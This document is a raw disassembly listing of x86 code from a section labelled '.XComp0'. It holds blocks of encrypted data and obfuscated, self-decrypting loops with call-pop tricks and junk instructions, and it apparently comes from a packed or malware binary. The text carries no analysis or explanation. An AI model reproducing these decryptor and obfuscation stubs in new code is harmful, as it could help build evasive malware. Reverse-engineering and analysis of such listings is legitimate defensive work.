; ---------------------------------------------------------------------------
		dd 29DB3699h, 37ED22BEh, 23D92A90h, 36EE17C4h, 28DC2B8Fh
		dd 4E8970Ah, 0D8F6E103h, 7E61133h, 0D2FBDA02h, 1EDB093Bh
		dd 95DF7CFDh, 0AD54F923h, 0DFB6C754h, 76332395h, 0D931EC9Eh
		dd 0D363CAEDh, 8831CE6Dh, 0B51AD97Dh, 0B816A158h, 474EB921h
		dd 2EB75792h, 0BB66A149h, 85A4D586h, 64212996h,	94BA517Bh
		dd 7B923B9Ah, 9DE07BC6h, 1A299685h, 1720C96Dh, 515657B6h
		dd 9577A26Dh, 0E2713077h, 2995F097h, 7F856714h,	0CD5790Ch
		dd 0B4B8A6A1h, 7801120Bh, 32995ECh, 51B0BD37h, 8C796D79h
		dd 0DA389C45h, 0C20D97E3h, 47B26EAAh, 0A36E9B06h, 0B980A993h
		dd 966ADF9Ah, 8F9F5C29h, 558C7D60h, 7B98856Ah, 29966B02h
		dd 4647827Fh, 0A7A54193h, 0DC8886DEh, 0F6D5003Ah, 0D712FDE1h
		dd 2DEE13D6h, 2995A84Ch, 0EF01DC2h, 9E0FFEDFh, 1F006CBh
		dd 5AF940DBh, 2995A81Fh, 2954DF9Ch, 0A62995A8h,	0A82F4A09h
		dd 0EFAC2995h, 0AD4AEF3Ah, 915AFC0Fh, 0D0C54AA6h, 910403E7h
		dd 401E4C3Bh, 250753BAh, 1AA126C6h, 62A6CCFCh, 2B9475A7h
		dd 46A549C0h, 0E27164A9h, 2995A694h, 96705E39h,	4D2F82DAh
		dd 999Bh, 976E6600h, 0A5839606h, 8C79BF4Fh, 0C7587863h
		dd 9685F18Ch, 78B16E29h, 0E4973CB1h, 87299685h,	88642230h
		dd 4D4D2F5Dh, 11h, 52C12790h, 9679B8C1h, 81483529h, 0C353B816h
		dd 8831CE7Dh, 6C78DD60h, 5FAAC3A4h, 4FC020CFh, 5EB10DAAh
		dd 736C8257h, 0ADD08BB6h, 2A2995A3h, 0A2679E4Bh, 5C815D8Ch
		dd 43169770h, 0BB20078Eh, 5C51B218h, 0DC51448Dh, 0D1EDFFEBh
		dd 0FE09B14Eh, 681122F7h, 0E52995A3h, 0C448F138h, 0ED27653Ah
		dd 0EED0C70Eh, 2DC1981Dh, 12FBE403h, 73CE54EAh,	968595E8h
		dd 1151229h, 9920CAF2h,	0EFDE28ECh, 8934F4D8h, 0F9A58FCDh
		dd 3FCBD30h, 0D42333DAh, 43FE23ECh, 95A56518h, 1125E229h
		dd 20EFCFD8h, 0E522CAADh, 0F1DD28F0h, 0DF2C0210h, 2BE6C97Eh
		dd 14184621h, 5CBD5FA8h, 0CA0376A5h, 83802995h,	5558B11Ch
		dd 5A837284h, 0D056E596h, 0FF1C8872h, 2996487Eh, 0EC30EFBh
		dd 0D93AA087h, 96483F3Ah, 0C2C8CA29h, 8E6532A5h, 2FA66B18h
		dd 7065A648h, 30A56487h, 6568A747h, 735FAEB4h, 6C7A95ABh
		dd 769935C2h, 7F84AA7Fh, 4D2F5D1Dh, 5CB10EA9h, 0B26E8059h
		dd 0C5h, 8C31CE94h, 0AE6D0C81h,	299685CBh, 80965B48h, 648C4971h
		dd 0CA6F66ABh, 8599E46Fh, 0AB0F2996h, 1E80595Ch, 0B55A7661h
		dd 9B6852A1h, 0A6B4831Ah, 3BE126C6h, 4424F6DEh,	22FD66D1h
		dd 0AFDDD0Ch, 0CE37A483h, 0CFDE0C7h, 0CD429E89h, 6D794CC8h
		dd 2592A7B1h, 9C4D40C3h, 675F8B7Ah, 4D2FC405h, 11E55BB1h
		dd 8F195972h, 529E02Fh,	7919h, 0F2DBE400h, 2FBF9A1Bh, 0A7608C09h
		dd 529A4126h, 142FD916h, 0C079B03Ch, 0EB9FDA79h, 0B7152995h
		dd 16886154h, 1B1CC569h, 585F56ADh, 8B229374h, 28F0AEBCh
		dd 0C546A80Fh, 0EA84D231h, 0ACF571E2h, 44BB7D13h, 0AB7E6F98h
		dd 6A806C8Bh, 8028B60Dh, 49FB36FAh, 8831CEE7h, 0B61AD97Dh
		dd 0CBAF5459h, 70299685h, 0E37D4995h, 0B34D2F5Dh, 5B6AF061h
		dd 0A2C2C40h, 11Eh, 31CEE800h, 659E4C89h, 9C7029ACh, 4786FF4Bh
		dd 54A3B3BEh, 57806B66h, 4E1B9271h, 60474E83h, 67725C7Fh
		dd 474E8382h, 15A25792h, 8A5F56B9h, 507C7B64h, 893136B7h
		dd 7691777Eh, 0E495C668h, 612995BDh, 36D56DA4h,	7D964428h
		dd 95BD9BDEh, 0A66B1829h, 65CCA7Eh, 319926DBh, 4CD36A4h
		dd 1336D891h, 2F8EDF1Fh, 48CC7532h, 168C62CDh, 0C444D30Dh
		dd 9216CC20h, 6405DE70h, 16976E5Bh, 966F5C43h, 45A44A1Fh
		dd 3D6548A8h, 45A6D9F4h, 17F558Ch, 7DB20E71h, 3DD2AB68h
		dd 524F239Dh, 1ABD7797h, 945558B5h, 36374B40h, 49ED7EA5h
		dd 9D6F7106h, 0D5010C23h, 0E517F6D7h, 0BD30DD02h, 0AC3818FCh
		dd 0AFB07981h, 816F509Fh, 6BB16C52h, 199C5573h,	0F0BEAC7Bh
		dd 0C22E107h, 0D70D00DDh, 0D65F560Ah, 2370F48h,	27D20000h
		dd 9D7791ECh, 22E10723h, 92FBFBCh, 83169FFh, 1B3BCAEFh
		dd 9189FD1Eh, 90272F8Fh, 0C23ADC2Dh, 13DE2593h,	0FBE0D7A2h
		dd 0E805E40Ah, 4B42C9F3h, 3F8A836Ch, 4A73528Ah,	8E5D2C3h
		dd 0C8E149E8h, 25ECD282h, 0E221C7B0h, 28E10CEBh, 322057A5h
		dd 0D905E06Ch, 9443AA15h, 3EEBE22Bh, 2B9463F3h,	3BB53AE2h
		dd 0B48D68Eh, 0AC11CCF4h, 74BD6C61h, 25A85F8Bh,	0B946E274h
		dd 99000000h, 0A6CAB360h, 0D182239Ch, 239CA6A8h, 99867825h
		dd 65FFBF75h, 0CA350C35h, 35E4E926h, 96855326h,	43D3D029h
		dd 65F64BF6h, 29968514h, 0CF829491h, 0A996848Eh, 824F7986h
		dd 7578B15Eh, 0BD6A92A4h, 84F28B38h, 8768A996h,	0A96A0F86h
		dd 0A99684D0h, 8467504Dh, 0C9BC1085h, 9C6BC19Dh, 174BD14Eh
		dd 128CEAE2h, 6F1B49A9h, 25A752DFh, 8D1CE27Fh, 92B5595Bh
		dd 29966BC7h, 769738BFh, 8E2DAA7Fh, 4923DB7Bh, 0ED9B14C0h
		dd 14F7D531h, 0E7ED14DDh, 5F3B35DCh, 227F5550h,	0AF28ED1Ah
		dd 3240E20h, 0BF5C1D3Eh, 2CD92995h, 10BE90Ah, 0BC100000h
		dd 8AAE2CE3h, 88AE4075h, 5B1469FFh, 7BBE66EEh, 0F7215D57h
		dd 19F1BF15h, 2D8E29D0h, 40F936D8h, 0CEE1A3CCh,	0CDF15467h
		dd 0E4678742h, 2F8F05A2h, 0CE0FAF48h, 0DDD019EEh, 37EFF1Ch
		dd 0EFB239Dh, 0EECB33C3h, 9D034C2Dh, 15DCC923h,	0D73697A0h
		dd 0CDFB0425h, 44EABF36h, 1CC548A5h, 0DECF36A3h, 5102EB0Bh
		dd 239D0423h, 0D19DC9C4h, 292EB28h, 120F239Dh, 3DD0EDFCh
		dd 5B1E3D04h, 0D8239D02h, 39310B2Bh, 8DCE73AFh,	299DA9A7h
		dd 0ABB4E3E9h, 0E2DB3A73h, 76DAA44Ch, 0DB6FDFF7h, 3C053CF5h
		dd 3E0CF3D8h, 0FD1E2D84h, 1D9C4D7Ch, 1EA0CF9h, 6EB7D438h
		dd 0CD163582h, 0F825CA29h, 9C26225Bh, 0D9B6AD1Dh, 0E15237F5h
		dd 78F8E3FDh, 0D0C0E427h, 0DADDD019h, 97A015F2h, 0F1DBD231h
		dd 20B4720h, 0D7AE0A67h, 0C04FD38Bh, 3F9B0D92h,	4DC01D9Ah
		dd 0B07D9148h, 0B84D6E89h, 7FD26435h, 239CCEB9h, 0F821C3C0h
		dd 92DDCFFh, 0FF69FF33h, 0ECBD30DFh, 0D703FC25h, 2111E30h
		dd 2F972C32h, 755E8B74h, 7578B154h, 8B6A92A4h, 0B8577760h
		dd 64AD7C71h, 0A4698671h, 0BC209780h, 535AB519h, 4CAB4B86h
		dd 8B2C4DA3h, 3B880747h, 7CB57C93h, 9EDF7CC5h, 1B2395A7h
		dd 741FC86Eh, 3A4D30DCh, 0C3CA43ACh, 0A213FCE4h, 0DB83CFB6h
		dd 0C3288F5Ah, 935EAF10h, 58A74722h, 6D5B640Ah,	1C917A64h
		dd 8372844Dh, 6691B35Ah, 26118489h, 57AC0EC5h, 907F1B92h
		dd 88856A42h, 0A44CB354h, 0C32CCB6Bh, 0D62434Ah, 9E000000h
		dd 4E8B31CEh, 5F569B70h, 3A08648Ah, 29AC658Ch, 696CA13Eh
		dd 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh
		dd 75788B2Dh, 0CCC14E72h, 24B4681Bh, 8F540000h,	4812404h
		dd 424h, 52DA6800h, 3C890000h, 0E1895124h, 4C181h, 0E9810000h
		dd 4, 5C240C87h, 68243489h, 600A6F3h, 348B545Fh, 4C48124h
		dd 81000000h, 4ECh, 243C8900h, 8B08468Fh, 89522434h, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 243C8B5Ch, 5E08950h, 4
		dd 405h, 24048700h, 0D044E95Ch,	6CEDFFF8h, 54CCCB98h, 0A1049C96h
		db 54h,	0D5h
; ---------------------------------------------------------------------------


loc_5E64C2:				; CODE XREF: .XComp0:loc_5E5CDBj
		mov	eax, 600AE50h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 19h
		dd 0C4579B63h, 91379F20h, 9E1A1D94h, 9455DAD2h,	363FFC7h
		dd 0DF0B3176h, 0F96F67BDh, 3F2A728Fh, 5D65C1BBh, 1B32B2CBh
		dd 0BF7C092Bh, 0DD749015h, 0EC4B12CBh, 7A0C505Ch, 2709EC07h
		dd 8D02EA40h, 0B0028Dh,	77BA6606h, 0DD8D8927h, 6A05F90Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 4B90C350h, 0CB27A6F7h, 0CF81667Dh, 85C73AD1h
		dd 5F926C1h, 6978h, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 35C35242h, 63C5AF24h,	71D07543h, 6FDB58Bh
		dd 85C705F9h, 5F900FDh,	0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+5F913ADh]
		push	0
		push	edi
		call	sub_5E6591
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6591	proc near		; CODE XREF: .XComp0:005E6589p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5E6591	endp

; ---------------------------------------------------------------------------
		xchg	eax, ebx
		push	esp
		dec	edi
		enter	0FFFF8F46h, 43h
		ror	ebp, 8
		mov	dx, 97DDh
		call	dword ptr [ebp+5F920D5h]
		push	0
		push	edx
		call	sub_5E65C0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E65C0	proc near		; CODE XREF: .XComp0:005E65B8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5E65C0	endp

; ---------------------------------------------------------------------------
		jl	short loc_5E65F8
		clc
		pop	eax
		lodsb
		cmp	al, 1Fh
		jmp	loc_5E65E2
; ---------------------------------------------------------------------------
		push	es
		mov	edi, 0B29091DEh


loc_5E65E2:				; CODE XREF: .XComp0:005E65D7j
		sbb	esi, 4D4C12FDh
		push	0
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5E6623
; ---------------------------------------------------------------------------
		dd 80EBB1EFh
; ---------------------------------------------------------------------------


loc_5E65F8:				; CODE XREF: .XComp0:005E65D0j
		push	esi
		mov	[ebp-35E9C7D9h], ecx
		jmp	far ptr	7C50h:33E9615Ah
; ---------------------------------------------------------------------------
		dw 0B62Ah
; ---------------------------------------------------------------------------
		push	ss
		enter	0FFFFAC77h, 0EDh
		push	ecx
		cld
		add	al, 1
		setalc
		scasd
		cmpsd
		mov	ebx, 0F44ABE3Bh
		cli
		dec	esi
		push	cs


loc_5E661C:				; CODE XREF: .XComp0:005E6664j
		add	ebx, [ecx-7A83DE82h]
		dec	ecx


loc_5E6623:				; CODE XREF: .XComp0:005E65F2j
		call	sub_5E6635
		dec	esi
		int	3		; Trap to Debugger
		dec	ecx
		jb	short near ptr loc_5E6651+1
		or	dl, [ecx-3774B4DCh]
		push	edx
		pop	ebx

; =============== S U B	R O U T	I N E =======================================



sub_5E6635	proc near		; CODE XREF: .XComp0:loc_5E6623p
		cmc
		pop	esi
		jge	loc_5E6640
		movsx	edi, dx


loc_5E6640:				; CODE XREF: sub_5E6635+2j
		add	esi, 66D8h
		mov	edi, [ebp+5F91895h]
		mov	edx, 1984h


loc_5E6651:				; CODE XREF: .XComp0:005E662Bj
		or	cl, 0Eh


loc_5E6654:				; CODE XREF: sub_5E6668+80j
		mov	ebx, [esi]
		pusha
		cld
		call	sub_5E6668
		aam	72h
		retn	1821h
sub_5E6635	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xor	al, 4Eh
		loopne	loc_5E661C
		dec	esp
		pop	es

; =============== S U B	R O U T	I N E =======================================



sub_5E6668	proc near		; CODE XREF: sub_5E6635+23p

arg_5CE4CAB0	= byte ptr  5CE4CAB4h

		pusha
		popa
		pop	eax
		popa
		sub	ebx, 7CD6975Fh
		mov	[ebp+5F920D9h],	esi
		add	ebx, 5B95AB5Dh
		cld
		xor	ebx, 2C05CBFBh
		mov	di, 1AA4h
		push	ebx
		movzx	eax, ax
		pop	dword ptr [esi]
		mov	eax, [ebp+5F912D5h]
		sub	esi, 7FF7CC25h
		mov	[ebp+5F92BBDh],	ebx
		add	esi, 7FF7CC21h
		movsx	ecx, cx
		sub	edx, 1
		jnz	loc_5E66E5
		jmp	loc_5E66CC
; ---------------------------------------------------------------------------
		db 0Dh
		dd 0B3C3BA8Bh, 0C94AE5E0h, 741C27A1h, 0B679795h
; ---------------------------------------------------------------------------


loc_5E66CC:				; CODE XREF: sub_5E6668+4Ej
		jmp	loc_5E66F4
; ---------------------------------------------------------------------------
		db 48h,	0B7h, 94h
		dd 17184A0Ah, 497BC23h,	0CFB18B32h, 0D676039Dh
; ---------------------------------------------------------------------------
		inc	esi


loc_5E66E5:				; CODE XREF: sub_5E6668+48j
		movsx	ecx, di
		jmp	loc_5E6654
; ---------------------------------------------------------------------------
		db 0FBh, 4Dh, 79h
		dd 240E290Ch
; ---------------------------------------------------------------------------


loc_5E66F4:				; CODE XREF: sub_5E6668:loc_5E66CCj
		call	sub_5E6708
		pusha
		xchg	eax, ebx
		inc	ebx
		and	eax, 9EB3C1B1h
		xchg	bl, [esp+edx*8-4+arg_5CE4CAB0]
sub_5E6668	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E6708	proc near		; CODE XREF: sub_5E6668:loc_5E66F4p
		mov	cx, di
		pop	ebx
		mov	ecx, [ebp+5F91259h]
		add	ebx, 616Eh
		mov	edi, [ebp+5F90FEDh]
		mov	eax, 0
		and	cx, 30Dh


loc_5E6728:				; CODE XREF: sub_5E6708+97j
		mov	edx, [ebx+eax]
		xor	ch, 0DFh
		xor	edx, 320BFF58h
		push	edi
		jle	loc_5E6741
		mov	esi, [ebp+5F92761h]


loc_5E6741:				; CODE XREF: sub_5E6708+2Dj
		pop	esi
		add	edx, 5880BFFEh
		jmp	loc_5E6759
; ---------------------------------------------------------------------------
		db 4Eh,	0E1h, 67h
		dd 5D96E7E5h, 0B1E6402Ch
; ---------------------------------------------------------------------------
		pop	esp


loc_5E6759:				; CODE XREF: sub_5E6708+40j
		xor	edx, 70BDD3A0h
		mov	esi, [ebp+5F910F9h]
		push	edx
		jmp	loc_5E6770
; ---------------------------------------------------------------------------
		db 0AEh
		dd 5F292FAFh
; ---------------------------------------------------------------------------


loc_5E6770:				; CODE XREF: sub_5E6708+5Ej
		pop	dword ptr [ebx+eax]
		jp	loc_5E677B
		mov	edi, esi


loc_5E677B:				; CODE XREF: sub_5E6708+6Bj
		mov	[ebp+5F92B09h],	ecx
		sub	eax, 118684C1h
		jb	loc_5E6793
		or	esi, [ebp+5F929EDh]


loc_5E6793:				; CODE XREF: sub_5E6708+7Fj
		add	eax, 118684BDh
		cmp	eax, 0FFFF9F40h
		jnz	loc_5E6728
		sub	[ebp+5F9164Dh],	eax
		lea	ecx, [ebp+600B29Ah]
		push	0
		push	eax
		call	sub_5E67BC
		and	[eax-3Dh], bl
sub_5E6708	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5E67BC	proc near		; CODE XREF: sub_5E6708+ACp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5E67BC	endp

; ---------------------------------------------------------------------------
		dd 26F293E1h, 39522606h, 98D8922h, 0E805F91Eh, 6, 44CE633Ah
		dd 0B70F3712h, 8D8958DFh, 5F90CDDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0FAC35646h,	90CF8E44h, 24DF98E0h
		dd 0F9FDE881h, 85C73045h, 5F926C1h, 673Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0B1C35242h, 0A7FB5C94h
		dd 0FD85C7h, 5F9h, 8F0F0000h, 4, 9490BB66h, 3465B5FFh
		dd 8B0F05F9h, 10h, 8E851h, 0E1960000h, 2A8E795Fh, 5A58EBF0h
		dd 20D595FFh, 858B05F9h, 5F907A5h, 95FF006Ah, 5F91AEDh
		dd 1EEBC08Bh, 61D3E672h, 5C901BA0h, 5370A497h, 2C55FBBAh
		dd 33A86EF8h, 0B7DD0061h, 424D3A13h, 8D8D7C54h,	600B38Ch
		dd 14E9h, 1C8CEC00h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch, 0ABE523CEh
		dd 0DD8D898Fh, 0B605F90Ch, 0C185C718h, 1005F926h, 6A000063h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0C582C353h, 0E14C5818h, 0FD85C7h,	5F9h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 50A7CEC3h, 744458E0h, 0B70F70FDh, 9E860D2h, 0F3000000h
		dd 5C951388h, 78CE5AAh,	0B5FF615Eh, 5F9275Dh, 0BCCFD2BEh
		dd 0D595FF64h, 6A05F920h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 3E84C350h, 25F99D89h
		dd 6A05F9h, 1AED95FFh, 0C08B05F9h, 83057CEBh, 720FA68Fh
		dd 562944BBh, 0F5A63570h, 3E338FB6h, 0B7D5D523h, 93689F9Bh
		dd 0F4FD108Bh, 0B8881287h, 2C4FF843h, 50D47C1Ah, 0EB417897h
		dd 0C36522F0h, 0C17A5E04h, 0DB6259A6h, 31727DE0h, 8A452EC7h
		dd 1331E6C0h, 0D62B1CCCh, 874C36A1h, 29A01FFAh,	0D868EE5Ah
		dd 528E516Fh, 178A5211h, 0FA7B0FA5h, 24FAAAABh,	857086BAh
		dd 926F8325h, 889B722Fh, 4C6DE0ABh, 0B7BAEE4h, 8D8D204Bh
		dd 600B4F6h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	2BC35343h, 9D9D89h, 8D8905F9h, 5F90CDDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 1C35646h, 0CCAD510Ch
		dd 8FB03FF6h, 26C185C7h, 73F805F9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DC9724C3h
		dd 7ED5C25Eh, 0FD85C745h, 5F900h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0B9E4C357h, 7A8B22Dh, 0F38BF4D8h, 11E9h, 8EA7CC00h
		dd 0EB988C48h, 43471AB9h, 37186A79h, 0B5FFC817h, 5F91771h
		dd 2BD19503h, 95FF05F9h, 5F920D5h, 19958523h, 0BD2905F9h
		dd 5F92F09h, 95FF006Ah,	5F91AEDh, 78EBC08Bh, 46B9BFD7h
		dd 169385AEh, 7983EFC3h, 0E042A12Ah, 0E1436F5Ah, 0AF32A042h
		dd 700196C3h, 0B89E8D36h, 18ED9D09h, 0B3A269F0h, 833567B1h
		dd 829AADFFh, 0CF400BD2h, 367ED432h, 0D33D62F3h, 0BF24C526h
		dd 60862A2Ch, 3F4F01AFh, 904B9B53h, 0D9A21FECh,	8DDB95D0h
		dd 867782F1h, 2148896Bh, 0B02CB26h, 1EE52C90h, 8F2BC3F2h
		dd 7613135Eh, 0CEDA30A6h, 8C8D0C9Dh, 5C78CC2Fh,	14E8h
		dd 0CC890700h, 4FD79E92h, 0A56DDB35h, 504DB0EDh, 0F483FCB6h
		dd 850F60FDh, 6, 26E58D23h, 0EF8005F9h,	0BB5F6131h, 3246FD29h
		dd 73ADC781h, 89600000h, 0F934A19Dh, 0BA6105h, 89000000h
		dd 0F933FDB5h, 170C8B05h, 2D91B589h, 0C18105F9h, 4347AA92h
		dd 8107D080h, 9BA20DE9h, 1D850359h, 8105F90Dh, 9DD191F1h
		dd 359D2935h, 5105F91Fh, 1830Fh, 8FF90000h, 0BD891704h
		dd 5F90ACDh, 511B531h, 0EA8305F9h, 18FA8104h, 0FFFFF8Dh
		dd 2185h, 68B0F00h, 8B000000h, 0F92079B5h, 24E905h, 82C30000h
		dd 3ACF5821h, 0E4AA5541h, 0EC84973Ch, 0E9F9DBB3h, 0FFFFFF89h
		dd 26E23D2Bh, 26E97AB6h, 3A57B103h, 8D8DABB9h, 600B705h
		dd 0DE8h, 164E7200h, 0E8AA0190h, 57912FC7h, 8166649Ah
		dd 5FF726E7h
; ---------------------------------------------------------------------------


loc_5E6C4C:				; DATA XREF: .XComp0:00583739o
		mov	[ebp+5F90CDDh],	ecx
		push	0
		push	esi
		call	sub_5E6C5D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6C5D	proc near		; CODE XREF: .XComp0:005E6C55p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5E6C5D	endp

; ---------------------------------------------------------------------------
		add	eax, 0C7854AC9h
		test	eax, ecx
		db	26h
		stc
		add	eax, 6EECh
		jmp	loc_5E6C94
; ---------------------------------------------------------------------------
		dd 21D3A6EBh, 660983BFh, 725F940Ah, 0EC65456Bh,	27C9D8A2h
; ---------------------------------------------------------------------------


loc_5E6C94:				; CODE XREF: .XComp0:005E6C7Bj
		mov	dword ptr [ebp+5F900FDh], 0
		push	0
		push	ebp
		call	sub_5E6CA9


loc_5E6CA6:				; CODE XREF: .XComp0:005E6CE8j
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6CA9	proc near		; CODE XREF: .XComp0:005E6CA1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5E6CA9	endp

; ---------------------------------------------------------------------------
		push	esi
		push	ecx
		pop	esi
		push	dword ptr [ebp+5F913D9h]
		mov	dh, 0C2h
		call	dword ptr [ebp+5F920D5h]
		push	0
		push	esi
		call	sub_5E6CD5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E6CD5	proc near		; CODE XREF: .XComp0:005E6CCDp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5E6CD5	endp

; ---------------------------------------------------------------------------
		db 4Fh,	21h, 63h
; ---------------------------------------------------------------------------
		jg	short loc_5E6CA6
		shr	dword ptr [edx+0], cl
		call	dword ptr [ebp+5F91AEDh]
		mov	eax, eax
		jmp	short loc_5E6D0F
; ---------------------------------------------------------------------------
		db 0C9h
		dd 0FE0D81DBh, 78E60903h, 0DC67D2A6h, 28BD378Eh, 74FB3B66h
		db 0BAh, 0F6h, 0Dh
; ---------------------------------------------------------------------------


loc_5E6D0F:				; CODE XREF: .XComp0:005E6CF5j
		call	near ptr loc_5E6D23+1
		das
		jnz	short loc_5E6D3B
		out	dx, eax
		fisub	dword ptr [ebx+2Eh]
		leave
		sub	eax, 0B237442h
		xor	edi, edx


loc_5E6D23:				; CODE XREF: .XComp0:loc_5E6D0Fp
		xor	ebp, [ebx]
		mov	ebp, 5F912A1h
		pop	eax
		mov	bx, di
		add	eax, 6781h
		mov	ch, 0AFh
		mov	edx, 0


loc_5E6D3B:				; CODE XREF: .XComp0:005E6D15j
		push	edi
		mov	ecx, 6378869Fh
		pop	ecx


loc_5E6D42:				; CODE XREF: .XComp0:005E6DCFj
		mov	esi, [eax+edx]
		push	ecx
		mov	[ebp+5F912B9h],	edx
		pop	edi
		sub	esi, 123925BBh
		pusha
		call	sub_5E6D6C
		setalc
; ---------------------------------------------------------------------------
		dw 96FEh
		dd 51283E96h, 0A028D711h, 705737D8h, 0AD54394Ch

; =============== S U B	R O U T	I N E =======================================



sub_5E6D6C	proc near		; CODE XREF: .XComp0:005E6D54p
		mov	cl, bl
		pop	ebx
		or	ebx, [ebp+5F92605h]
		popa
		xor	esi, 1F3AC14Bh
		mov	bl, dl
		add	esi, 59FCAF0h
		push	esi
		movsx	ebx, cx
		pop	dword ptr [eax+edx]
		call	near ptr loc_5E6D9D+1
		sbb	dl, [edi-23h]
		mov	ah, 0Ch
		sbb	bl, [ecx+eax-2]
		scasd
		aas
		rep xchg eax, ebp


loc_5E6D9D:				; CODE XREF: sub_5E6D6C+1Fp
		mov	esp, 1F058D0Bh
sub_5E6D6C	endp ; sp-analysis failed

		stc
		add	eax, 0FEBF0F5Fh
		sub	edx, 6CA7185Bh
		add	[ebp+5F91E15h],	edx
		add	edx, 6CA71857h
		jmp	loc_5E6DC9
; ---------------------------------------------------------------------------
		db 0D3h
		dd 0F72D1C8Eh, 0C50D9EC8h
; ---------------------------------------------------------------------------
		cdq


loc_5E6DC9:				; CODE XREF: .XComp0:005E6DBAj
		cmp	edx, 0FFFF9940h
		jnz	loc_5E6D42
		mov	cx, 0AA19h
		call	sub_5E6DF2
		clc
		mov	ebx, 37BE68Ah
		mov	ah, 0DAh
		cmp	ch, [esi+14CEB371h]
		and	[edx+0D148A11h], edi ; CODE XREF: sub_5E6DF2+76j

; =============== S U B	R O U T	I N E =======================================



sub_5E6DF2	proc near		; CODE XREF: .XComp0:005E6DD9p
		pusha
		xor	esi, [ebp+5F92C99h]
		popa
		pop	edi
		mov	[ebp+5F91511h],	edx
		add	edi, 6812h
		push	esi
		mov	bl, 0FFh
		pop	ebx
		push	19D5h
		mov	esi, [ebp+5F9315Dh]
		pop	ecx
		push	edx
		mov	esi, [ebp+5F92E39h]
		pop	edx


loc_5E6E1F:				; CODE XREF: sub_5E6E77+19j
		push	dword ptr [edi]
		sub	[ebp+5F91725h],	ebx
		pop	eax
		mov	edx, [ebp+5F92415h]
		sub	eax, 65A0F43Bh
		mov	ebx, [ebp+5F927CDh]
		xor	eax, 384A9D97h
		mov	ebx, [ebp+5F93155h]
		sub	eax, 3AA923BDh
		jmp	loc_5E6E56
; ---------------------------------------------------------------------------
		db 0Eh,	3Dh, 27h
		db 0E8h, 9Ah
; ---------------------------------------------------------------------------


loc_5E6E56:				; CODE XREF: sub_5E6DF2+5Aj
		mov	[edi], eax
		mov	si, 9AC3h
		sub	edi, 7AC3BC03h
		call	near ptr sub_5E6E77
		pop	ds
		jmp	short near ptr loc_5E6DEC+4
sub_5E6DF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 0C487h
		dd 0CD53D9F7h, 0ADED90F2h
		db 0D0h, 19h, 3

; =============== S U B	R O U T	I N E =======================================



sub_5E6E77	proc far		; CODE XREF: sub_5E6DF2+70p

; FUNCTION CHUNK AT 005E6F11 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005E6F56 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005E6F83 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005E6FA4 SIZE 0000000C BYTES

		or	[ebp+5F90D19h],	esi
		pop	edx
		add	edi, 7AC3BBFFh
		sub	[ebp+5F92675h],	edx
		sub	ecx, 1
		jnz	loc_5E6E1F
		jmp	loc_5E6EA0
; ---------------------------------------------------------------------------
		db 7Ah
		dd 336C8E63h
; ---------------------------------------------------------------------------


loc_5E6EA0:				; CODE XREF: sub_5E6E77+1Fj
		call	near ptr locret_5E6EB6+2
		fimul	dword ptr [edx+edx+545CB6Fh]
		ja	short loc_5E6F11
		cmc
		ror	dword ptr [edi+1A2E0294h], 96h

locret_5E6EB6:				; CODE XREF: sub_5E6E77:loc_5E6EA0p
		retf	8B6Ah
sub_5E6E77	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebp, 5F93301h
		pop	ecx
		mov	[ebp+5F91125h],	edi
		add	ecx, 64D3h
		jmp	loc_5E6EDB
; ---------------------------------------------------------------------------
		lea	ecx, [esi-3C00460Ah]
		cmpsb
		sti
		icebp
		and	cl, bh


